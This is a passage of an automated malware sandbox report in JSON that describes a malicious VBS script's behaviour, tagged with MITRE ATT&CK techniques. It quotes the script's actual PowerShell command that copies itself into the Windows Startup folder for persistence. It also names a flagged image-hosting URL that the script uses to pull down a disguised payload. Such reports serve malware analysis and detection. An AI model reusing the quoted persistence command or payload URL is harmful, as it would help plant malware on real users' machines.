[System.IO.File]::Copy('C:\\ESL.vbs','C:\\Use\" (Indicator: \"/c ping\"; Source: \"00000000-00003484-00000C41-5590335479\")\n Found string \"ping 127.0.0.1 -n 5\" (Indicator: \"ping \"; Source: \"00000000-00001844-00000C41-129799234\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"\" (Indicator: \"/c ping\"; File: \"cmd.exe\")","id":"string-417","level":"informative","mitre_attack_id":"T1018","name":"Contains ability to identify remote systems","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002164)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001544)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002724)","id":"api-152","level":"informative","mitre_attack_id":"T1010","name":"Calls an API typically used to enumerate active windows","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$30","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"Antivirus vendors marked dropped file \"Tar870B.tmp\" as clean (type is \"data\")","id":"binary-16","level":"informative","name":"Drops files marked as clean","origin":"Binary File","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$31","id":"registry-72","level":"informative","mitre_attack_id":"T1546.015","name":"Overview of unique CLSIDs touched in registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$32","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API's typically used for searching a directory for a files","origin":"API Call","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Destruction","description":"$33","id":"api-25","level":"informative","mitre_attack_id":"T1070.004","name":"Opens file with deletion access rights","origin":"API Call","relevance":7,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002724]\n Dropped file: \"2GCCVNZ2PP8EM6FBGKA2.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\2GCCVNZ2PP8EM6FBGKA2.temp]- [targetUID: 00000000-00002724]\n Dropped file: \"77EC63BDA74BD0D0E0426DC8F8008506\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002724]\n Dropped file: \"JD1ZC8KSEZRSQU1RDFT7.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\JD1ZC8KSEZRSQU1RDFT7.temp]- [targetUID: 00000000-00002164]\n Dropped file: \"SNBB4A2J7POYF9NT5378.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\SNBB4A2J7POYF9NT5378.temp]- [targetUID: 00000000-00001544]","id":"binary-37","level":"informative","mitre_attack_id":"T1036","name":"Drops files inside appdata directory","origin":"Binary File","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$34","id":"target-14","level":"malicious","mitre_attack_id":"T1057","name":"Spawns a lot of processes","origin":"Monitored Target","relevance":8,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"powershell.exe\")","id":"string-536","level":"informative","mitre_attack_id":"T1102.002","name":"Contains ability to upload or download data from a specified domain","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"$35","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"External Systems","description":"8/90 reputation engines marked \"https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg\" as malicious (8% detection rate)\n 3/90 reputation engines marked \"https://uploaddeimagens.com.br\" as malicious (3% detection rate)","id":"avtest-6","level":"suspicious","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","origin":"External System","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")\n \"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","id":"registry-55","level":"informative","mitre_attack_id":"T1518","name":"Reads the registry for installed applications","origin":"Registry Access","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$36","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$37","id":"target-114","level":"suspicious","mitre_attack_id":"T1564.003","name":"Uses powershell with a windows hidden commandline param","origin":"Monitored Target","relevance":7,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"powershell.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.LNK\"; Key: \"ALWAYSSHOWEXT\")","id":"registry-47","level":"informative","mitre_attack_id":"T1005","name":"Queries the display settings of system associated file extensions","origin":"Registry Access","relevance":7,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\\\ESL.vbs','%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\ WLDY.vbs')\"\" on 2023-8-24.13:48:12.897\n \"/c \"powershell -command [System.IO.File]::Copy('C:\\\\ESL.vbs','%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\ WLDY.vbs')\"\" on 2023-8-24.13:48:16.311","id":"target-3","level":"informative","mitre_attack_id":"T1059.003","name":"Runs shell commands","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab870A.tmp\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar870B.tmp\"","id":"api-267","level":"informative","mitre_attack_id":"T1005","name":"Writes files in a temp directory","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$38","id":"api-55","level":"informative","mitre_attack_id":"T1083","name":"Touches files in the Windows directory","origin":"API Call","relevance":7,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$39","id":"target-252","level":"suspicious","mitre_attack_id":"T1620","name":"Contains ability to load binary assembly using powershell","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$3a","id":"target-31","level":"suspicious","mitre_attack_id":"T1027","name":"Invokes a process with a long commandline","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$3b","id":"api-207","level":"informative","mitre_attack_id":"T1140","name":"Calls an API typically used to decrypt a block of data","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","id":"registry-13","level":"informative","mitre_attack_id":"T1082","name":"Reads the windows installation date","origin":"Registry Access","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","id":"registry-67","level":"informative","mitre_attack_id":"T1543.003","name":"Creates or modifies windows services","origin":"Registry Access","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")\n \"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"INTRANETNAME\"; Value: \"\")","id":"registry-170","level":"informative","mitre_attack_id":"T1070","name":"Deletes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","id":"registry-179","level":"informative","mitre_attack_id":"T1562.001","name":"Tries to map intranet network resources to internet zone","origin":"Registry Access","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3c","id":"api-169","level":"informative","mitre_attack_id":"T1083","name":"Tries to access recent files","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\PING.EXE\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\system32\\cmd.exe\")\n \"cmd.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")\n \"powershell.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")","id":"api-2","level":"informative","mitre_attack_id":"T1106","name":"Creates new processes","origin":"API Call","relevance":8,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\esl.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\scrrun.dll\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to access LNK file \"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","id":"api-203","level":"informative","mitre_attack_id":"T1083","name":"Tries to access LNK files (Windows shortcut)","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF103707.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1052a2.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF106f07.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab870A.tmp\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar870B.tmp\" for deletion","id":"api-26","level":"informative","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3d","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"104.21.45.138:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"\n \"WScript.exe\" trying to access non-existent file \"C:\\CMD.EXE\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"cmd.exe\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"\n \"cmd.exe\" trying to access non-existent file \"C:\\CMD.EXE\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\system32\\api-ms-win-core-fibers-l1-1-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\system32\\api-ms-win-core-localization-l1-2-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL\"\n \"PING.EXE\" trying to access non-existent file \"C:\\Windows\\System32\\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL\"","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"The script produces internet activity\n is obfuscated and drops files","id":"summary-5","level":"malicious","mitre_attack_id":"T1204.002","name":"Script file shows a combination of malicious behavior","origin":"Indicator Combinations","relevance":7,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003484)\n \"PING.EXE\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002120)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002164)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"$3e","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Process \"%WINDIR%\\system32\\PING.EXE\" launched with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00002120)","id":"target-411","level":"suspicious","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"3484\" - (UID: 00000000-00003484)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2164\" - (UID: 00000000-00002164)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"1544\" - (UID: 00000000-00001544)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2724\" - (UID: 00000000-00002724)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 2159872)\n \"PING.EXE\" monitors \"HKLM\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 4252055040)","id":"api-12","level":"informative","mitre_attack_id":"T1012","name":"Monitors specific registry key for changes","origin":"API Call","relevance":4,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"Potential IP \"127.0.0.1\" found in string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','C:\\Use\", Potential IP \"127.0.0.1\" found in string \"ping 127.0.0.1 -n 5\", Potential IP \"127.0.0.1\" found in string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$3f","id":"api-234","level":"informative","mitre_attack_id":"T1573.002","name":"Calls an API typically to import asymmetric cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$40","id":"api-122","level":"informative","mitre_attack_id":"T1074.001","name":"Calls an API typically used to create a directory","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00001544)","id":"target-321","level":"informative","mitre_attack_id":"T1059.001","name":"Windows Script Host executes Powershell","origin":"Monitored Target","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"Tar870B.tmp\" has type \"data\" - Location: [%TEMP%\\Tar870B.tmp]\n \"Cab870A.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63174 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\" - Location: [%TEMP%\\Cab870A.tmp]","id":"binary-53","level":"informative","mitre_attack_id":"T1105","name":"Drops temp files","origin":"Binary File","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" trying to touch file \"\\FileSystem\\Filters\\FltMgrMsg\"\n \"WScript.exe\" trying to touch file \"\\Device\\MountPointManager\"\n \"WScript.exe\" trying to touch file \"IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&2848384c&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\"\n \"WScript.exe\" trying to touch file \"C:\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\sechost.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\version.dll\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"Process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 104.21.45.138 on port 443 (TCP); Domain: \"uploaddeimagens.com.br\"","id":"target-412","level":"suspicious","mitre_attack_id":"T1071","name":"Spawned process connects to a network","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"file/memory contains long string with (Indicator: \"RC2\"; Source: \"00000000-00002724-00000C95-64008311\")","id":"string-138","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to use Cryptographic classes","origin":"File/Memory","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"cmd.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00001844)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002164)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002164)","id":"api-147","level":"informative","mitre_attack_id":"T1614","name":"Calls an API typically used to retrieve local language","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$41","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$42","id":"string-510","level":"informative","mitre_attack_id":"T1059.001","name":"Commandline contains PowerShell","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00001544)\n Process \"powershell.exe\" based on artifact \"frombase64string\" (UID: 00000000-00002724)","id":"target-43","level":"suspicious","mitre_attack_id":"T1140","name":"Ability to hide a payload in the commandline","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$43","id":"string-170","level":"informative","name":"Possibly uses system binaries (Windows LOLbins)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"Process \"cmd.exe\" (UID: 00000000-00001844) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00001844) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"\n Process \"powershell.exe\" (UID: 00000000-00001544) was launched with modified environment variables: \"Path\"\n Process \"powershell.exe\" (UID: 00000000-00002724) was launched with modified environment variables: \"PSModulePath\"","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Making HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment 